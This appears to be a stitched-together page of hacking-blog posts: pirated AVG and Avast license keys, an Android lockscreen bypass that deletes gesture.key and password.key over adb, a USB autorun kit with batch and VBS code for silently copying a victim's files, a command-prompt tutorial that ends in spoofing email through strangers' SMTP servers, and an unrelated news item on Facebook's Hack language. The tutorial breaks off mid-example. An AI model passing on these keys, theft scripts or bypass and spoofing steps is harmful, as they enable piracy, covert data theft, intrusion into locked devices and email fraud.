AVG Internet Security 2014 Serial Keys Till 2018 (Update Compatible)

AVG Internet Security 2014 Serial Keys Till 2018
(Update Compatible)

Serial Keys (all the keys have activation till 2018)

8MEH-RF3MY-BZGDJ-9LUAR-SW7LQ-CEMBR-ACED

8MEH-RGM33-K4G3L-6FGRR-8BQML-UEMBR-ACED

8MEH-RF22Z-AN7HS-QDWMR-2DZ7M-BEMBR-ACED

8MEH-RF7RF-MRFKO-EWOVA-UMZQQ-FEMBR-ACED

8MEH-RCFXA-ZD2JS-8ROGA-GJDDO-7EMBR-ACED

8MEH-R6O2P-VYTYS-BAYWR-C6AQV-WEMBR-ACED

8MEH-RPTGT-KMXM7-EEEVR-KS8AC-LEMBR-ACED

8MEH-RYGA4-P82S8-WQV7A-78WK8-8EMBR-ACED

8MEH-RB32G-UPE9U-TRLQR-BXB9O-CEMBR-ACED

8MEH-RFR8J-PTL9Q-92ATA-OJEZN-JEMBR-ACED

8MEH-RFR8J-PTL9Q-92ATA-OGP3L-JEMBR-ACED

8MEH-R9Q3V-ZHYZT-92KCR-ATN4W-YEMBR-ACED

8MEH-RFR8J-PTL9Q-92ATA-OCPAN-JEMBR-ACED

8MEH-RJXR4-2CTXP-2GB3A-DUE4A-PEMBR-ACED

Be Safe & Enjoy...

Bypass ANY Android Lockscreen

PRE-REQUISITES:

1. Locked Android phone.
2. USB cord that connects Android device to PC.
3. USB Debugging MUST be enabled on the device.

NOTE: This can be checked by going to "Settings" --> "Developer Options" --> "USB Debugging".
NOTE #2: To enable Developer Options, go to "Settings" --> "About" --> tap on the Build Number 7 times in a row until 

you see a little box pop up saying you have enabled Developer Options.

4. Have ADB & Android SDK setup on your PC.

NOTE: Here's a video outlining how to setup these two programs - http://www.youtube.com/watch?v=uVU8vQVKo6I
NOTE #2: If you encounter the error "ADB is not recognized", chnage the path to "plaform-tools" folder instead of 

"tools" folder.

PREPARATION:

1. Plug the Android device into your computer.
2. Click on the start menu and search for "CMD", also known as the command prompt. Run as administrator. You should see 

this:

INSTRUCTIONS:

1. Type the following command into CMD:

adb root

This will restart the ADB with root privileges. Please allow 30 seconds. It should look like this:

2. Now, type in the following command:

adb shell

You should see the following:

3. Finally, type in ONE of the following commands (depending on if it's gesture-based or password-based):

rm /data/system/gesture.key

OR

rm /data/system/password.key

4. Power the phone on, draw ANY pattern, and you will be able to unlock the device.

NOTE: The phone will be unlocked like this until you manually change it in "Settings" --> "Security".

Thanks so much, and if you have any questions, feel free to send me a message!

Quick trick to make all youtube videos turn HD.

Here is a simple youtube video.

http://www.youtube.com/watch?v=zPsQWT7d0iM

All you have to do is add this to the end of the url and the video quickly changes to a HD.

&fmt=18

Avast Free Antivirus 2014 Key Valid Till 2099

Avast Free Antivirus 2014 Key Valid Till 2095 OR 2099:

Built on more than 25 years of Experience:

We’re the most trusted name in the antivirus industry, actively protecting more than 220 million people around the world. We’ve been protecting devices and data for over 25 years, in over 40 languages, on every populated continent.

Download Avast Antivirus For PC:

Avast Free Antivirus Installer 

OR

Avast Free Antivirus Setup (Offline) 

How to Activate ?

1. Install Avast 9 Free Edition on your PC.

2. Right click on Avast icon at System Tray.

3. Click on Subscription information.

4. Select Offline Registration

5. Copy License key to Registration box.

Serial key! :

Registration Key Valid Till 2095:

C59249769E9900N1595-ENS7ULJH 

Registration Key Valid Till 2099:

W1208070R9900D1199-T549MYK0

Secretly Copy and Steal Data from Computer to a USB or Pendrive

This Trick could prove to be very helpful and it would Copy and Steal all the Data without the Confirmation and Knowing of Computer Owner.

To use this Trick just follow these simple Steps :

1) Open Notepad.

2) Copy and Paste the following Code into Notepad :

[autorun]

icon=drive.ico

open=launch.bat

action=Click OK to Run

shell\open\command=launch.bat

3) Save this file as autorun.inf.

4) Open Notepad again.

5) Copy and Paste the following Code :

Code:

@echo off

:: variables

/min

SET odrive=%odrive:~0,2%

set backupcmd=xcopy /s /c /d /e /h /i /r /y

echo off

%backupcmd% "%USERPROFILE%\pictures" "%drive%\Data\My pics"

%backupcmd% "%USERPROFILE%\Favorites" "%drive%\Data\Favorites"

%backupcmd% "%USERPROFILE%\videos" "%drive%\Data\vids"

@echo off

cls

6) Save this file as File.bat.

7) Open Notepad again.

8) Copy and Paste the following Code :

CreateObject("Wscript.Shell").

Run """" & WScript.Arguments(0) & """", 0, False

9) Save this file as Invisible.vbs.

10) Now again open Notepad.

11) Now Copy and Paste the following Code :

wscript.exe \invisible.vbs file.bat

12) Save this as Launch.bat.

13) Now Copy and Paste all the four (4) files created in the above steps to the USB or Pendrive.

14) Create a folder named “Data” where the Stolen contents would be Copied automatically.

15) Now it is done. The USB or Pendrive is ready to Steal the Secret Data or Files.

So it is simple Trick to Secretly Copy and Steal Data from Computer to a USB or Pendrive.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your slave.

It works just Awesome

I hope this "How To Secretly Copy and Steal Data from Computer to a USB or Pendrive " tutorial will help all of you to steal your friends information 

Command Prompt Tutorial

The aim of this tutorial is to get you familiar with the Windows command prompt. It covers basic shit such as ping, Telnet, and sending fake email, and hopefully also goes a bit farther than that, and will be a bit more helpful than only teaching you the complete, absolute, utter, basics. If you have any comments, please contact me. Thanks/shouts to Zugg for giving me the idea to write this.

The Windows command prompt is more useful than most people realize. You can perform many network-related tasks with it, as well as managing files, and the list goes on. For this tutorial, I'll be using Windows XP Pro, but most of the commands should work on earlier versions of Windows as well, although on occasion they won't, and I really can't help that, so don't blame me =). Before we get started, I think it should be noted that the command prompt is not DOS. DOS is short for Disk Operating System, and was a early text-only operating system made by Microsoft, before they had the horrible idea to start building Windows. This isn't a history od DOS tutorial though, so let's get started with the command prompt.

Open up the command prompt by going to start>programs>accessories>command prompt on Windows XP. You should see something like:

C:\Documents and Settings\Name>

This means that you are in the directory C:\Documents and Settings\Name, where name is your username. You might see something else, like just plain C\:>. Whatever it says, that's the directory you're in. You can change directories by using the CD command. First we're going to go to the directory C:>. In the command prompt, two dots, .. , always means the parent directory of the one you are in. So if we type

CD ..

it will Change Directories (CD) to the parent directory of the one we're in. If we're in C:\Documents and Settings\Name, and we type CD .., it will take us to C:\Documents and Settings. Continue to type CD .. until it takes you to your C: drive, and the prompt is now C:>. You don't have to use .. with the CD command though, you can also use it in the following syntax: CD C:\Path\To\Directory So let's say we want to go back to the Documents and Settings\Name directory. We would use the following, replacing 'Name' with your username of course:

C:\>CD C:\Documents and Settings\Name

Note that the > and anything before it, in this case C:\>, is not to be typed. It's simply the prompt that Windows will display. Ok, now let's go back to the C: drive:

C:\Documents and Settings\Name\>CD C:\

Got the hang of it? Good. The DIR command displays all the folders and files in the currect directory that you're in. So to display all of the contents of the C: drive (assuming you're keeping up with me and are at C:\), we use the following command:

C:\>DIR

We can also view the contents of other directories without going to those directories, by using the syntax DIR C:\Directory\. If we're still in the C:\ drive, and want to view the contents of C:\Documents and Settings\Name (as always replace Name with your username), we would use the following command:

C:\>DIR C:\Documents and Settings\Name

If you've ever used any form of Unix before, you'll probably have note that the DIR command is the same as he LS command in Unix, and that CD is identical to the CD command in Unix. So far we've only worked on browsing around and viewing the contents of directories, but to be honest this is useless shit, because browsing around directories gets boring pretty damn fast, and there's not much you can do. While you've been browsing around, you've probably noticed how much useless crap you have wasting space on your hard drive, so guess what? We're going to learn how to delete that useless crap. To delete folders, use the RD (remove directory) command, and to delete just a regular file use the DEL (delete) command. If we want to delete the folder C:\Documents and Settings\Name\Useless_stuff, we first navigate to C:\Documents and Settings\Name, and then delete the directory useless_stuff:

C:\>CD C:\Documents and Settings\Name\
C:\Documents and Settings\Name\>RD useless_stuff

Similarly, to delete a file, not a folder called useless_stuff, we'll call it useless_stuff.txt here, do the same thing except with the DEL command:

C:\>CD C:\Documents and Settings\Name\
C:\Documents and Settings\Name\>DEL useless_stuff

All gone. Now suppose you want to create a new folder. You use the MD command to create folders. To re-create the useless_stuff directory, use the following command:

C:\Documents nad Settings\Name\>MD useless_stuff

Files can be copied using (surprise, surprise) the COPY command. To use the COPY command, you specify a source to be copied from, and a destination to be copied to. If the source or destination is in the directory you are in, you don't need to specify the full path name. If it isn't in the directory you're in, you do need to specify the full pathname. If we want to copy our useless_stuff directory to C:\useless_stuff, we use the following command:

C:\Documents and Settings\Name\>COPY useless_stuff C:\useless_stuff

If you don't feel like having two copies of the same file, you can simply move the file using the MOVE command. The MOVE command works the same way the COPY command does, except it moves the folder/file as opposed to making another copy of it in a new directory:

C:\Documents and Settings\Name\>MOVE useless_stuff C:\useless_stuff

Enough with working with files, let's move on. Although you may see the command prompt as a blob of black ugliness, you can customize the command prompt and make it look quite nice. First of all, after all these commands, it might seem kind of crowded, so let's clear it using the CLS command. To do this, simply type CLS at the prompt, and it clears all text and gives you a new prompt. We can also change the backround and the text color of the prompt, with the COLOR command. The COLOR command uses the following syntax, where 'b' is background and 't' is text:

COLOR bt

Note that there is no space between the b and t. Each color has a hexadecimal value:

0 black
1 blue
2 green
3 aqua
4 red
5 purple
6 yellow
7 white
8 grey
9 light blue
A light green
B light aqua
C light red
D light purple
E light yellow
F bright white

So if we want bright white text on a blue backround, we use the following command:

C:\>COLOR 1F

To simply change it back to the default colors, type the COLOR command by itself with no arguments. Before we move on, it's worth looking at one more completely useless command, the ECHO command. The ECHO command is used mostly for batch files, but can also be used simply at the command prompt. It displays the text that you want (see what I mean by useless? =p). Try typing "ECHO Binary Universe 0wnz j00" (without the quotes) at the command prompt and see what happens.

You can also defragment your hard drive using the command prompt, via the DEFRAG command. To defrag your C:\ drive, simply type "DEFRAG C:\" (without the quotes). If you want to defrag another drive, replace the C:\ with that drive letter. For a full list of options that can be used with the DEFRAG command, simply type DEFRAG by itself in the command prompt. If you'd rather format a disk than defrag it, you can use the FORMAT command, with "/FS:file system" to represent the desired file system. To format your C:\ drive with NTFS, use the following command:

C:\>FORMAT C: /FS:NTFS

Before we move on to network-related commands, there is one more basic command worth discussing: the PERFMON command. The PERFMON command moniters the performance of your system, eg the CPU usage, etc. Simply type "PERFMON" (without that quotes) at the prompt, and in Windows XP a window with a graph will pop up.

Now we move on to network and internet related commands. This is an area where the semingly simple command prompt is very flexible and powerful, and in which it is the swiss-army knife of Windows -- the command prompt can be used for FTP, sending fake email, Telnet, and much more. The most basic command is PING. The PING command is used to see if a remote host can be reached. To use the PING command, you type "PING IP_address" (without the quotes), where IP_address is the IP address of the remote host. So to ping 127.0.0.1:

C:\>PING 127.0.0.1

If you get a response similar to this, all is well and you can reach the host:
---------------------------------------------
Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms ttl="128</span">
Reply from 127.0.0.1: bytes=32 time<1ms ttl="128</span">
Reply from 127.0.0.1: bytes=32 time<1ms ttl="128</span">
Reply from 127.0.0.1: bytes=32 time<1ms ttl="128</span">
---------------------------------------------

However, if you get a reply like "request timed out", then you can't reach the host. Possible reasons for not being able to reach the host are possibly the host is offline, you mistyped the IP address/domain name, or you are not connected to the internet.

As mentioned before, we can also use the command prompt as a telnet client. To use the command prompt as a telnet client, you simply type "TELNET IP_address" (without the quotes of course), replacing IP_address with the IP address of the host you wish to telnet to. You can also specify a port to telnet to, with the syntax "TELNET IP_address PORT", which can on occasion be quite useful.

The command prompt, being the swiss army knife of Windows, can also be used as an FTP client. To FTP to a host, use the command "FTP IP_address", without the quotes and replacing IP_address with the IP address of the remote host. You will then most likely be prompted for a user name and password, and if authentication is successful you will get the following prompt:

ftp>

At this prompt you can type FTP commands. The most common reason for using FTP is to transfer files (File TRANSFER Protocol), so we'll start with the commands for uploading files to the server and downloading files from the server. To upload a file to the server, use the PUT command. The PUT command uploads a file from a specified path on your box to the directory you are currently in of the server, thus the following command uploads the file C:\file.txt to file.txt in whatever directory you are currently in of the remote machine:

ftp>PUT C:\file.txt

To change directories, you use the CD command, just as you did in the Windows command prompt earlier in this tutorial. You can download files the same way you uploaded them, except using the GET command, thus the following command copies the file something.gif in the current directory of the remote machine to the current directory of the local mahine:

ftp>GET something.gif

Most other FTP commands are used the same way the equivilant commands are used in the command prompt. For example, the FTP command LS is the same as the command DIR in the Windows command prompt, and displays the contents of the current directory. Likewise, the FTP command MKDIR is used the same way as the Windows command prompt command MD, and the command DELETE is used to delete a file. For a full list of available commands, type 'HELP' (without the quotes) after you have connected and logged in.

Another interesting thing that can be done via the command prompt is sending fake email via an SMTP server. SMTP is short for Simple Mail Transfer Protocol, and is used for sending email. Just about any SMTP server is an SMTP server that can be used to send fake email. The exception is that some ISP SMTP servers may require the host using the server to be connecting from an account on that ISP. It's not hard to find an SMTP server to try this out on. You can just pick a random website and try this on their SMTP server if they have one. Step one is to connect to the SMTP server by telnetting to the server's IP and specifying that the connection should be made to port 25 on the server, as SMTP runs on port 25. So type "TELNET site.com 25" (replace site.com with the IP address or domain name of your target). If the target isn't running an SMTP server, it'll say something like "Connection failed". If they are running an SMTP server, it'll give you information aboout what SMTP server they're running. To make sure that you've connected, type help, and it'll say something like "214 - commands supported" and give you the supported commands.

Before you start sending your fake email, be a good boy and say hello, by typing "HELO". You'll probably get a response like "250 site.com hello IP_address". Now let's send that fake email. Begin with the MAIL FROM command. This declares what address you want the email to be sent from. So to send the email from niels@site.com, you'd use the following command:

MAIL FROM:niels@site.com

Now you'll probably get a message like "250 OK". The next step is to specify the recipient of the message, using the RCPT TO command:

RCPT TO:address_to_be_mailed_to@anothersite.com

Finally, you include the data of the mess with the DATA command. End your message by putting a period on a line by itself. So altogether, you probably type this:
----------------------------------------
C:\>TELNET site.com 25

Facebook introduces HACK, a programming Language for Future

Do you know the ‘Codebase’ that is capable of running the largest social networking website Facebook? It is ‘Hack‘.

The codebase is ‘Hack’ but it has nothing related to hacking. Hack is a new programming language designed by Facebook that will lets programmers build complex websites and other software quickly and most important without Flaws.

“We can say with complete assurance that this has been as battle-tested as it can possibly be”, said Bryan O’Sullivan, the Facebook engineer behind the language, in a statement.

According to the experts, Hack is a new version of PHP, Mark started building this when he started Facebook.

Hack too runs on the Hip Hop Virtual Machine but it lets coders use both dynamic typing and static typing.

Facebook Explanation about Hack:

“Our principal addition is static typing. We have developed a system to annotate function signatures and class members with type information; our type checking algorithm (the type checker) infers the rest. Type checking is incremental, such that even in the same file, some code can be converted to Hack while the rest remains PHP. Technically speaking, Hack is a gradually typed language: dynamically typed code interoperates seamlessly with statically typed code.”
“The Hack adds additional features beyond static type checking, including collections, lambda expressions, and run time enforcement of return and additional parameter types….We are delighted to open-source both Hack and the tools that we used to convert our codebase hacklang.org.”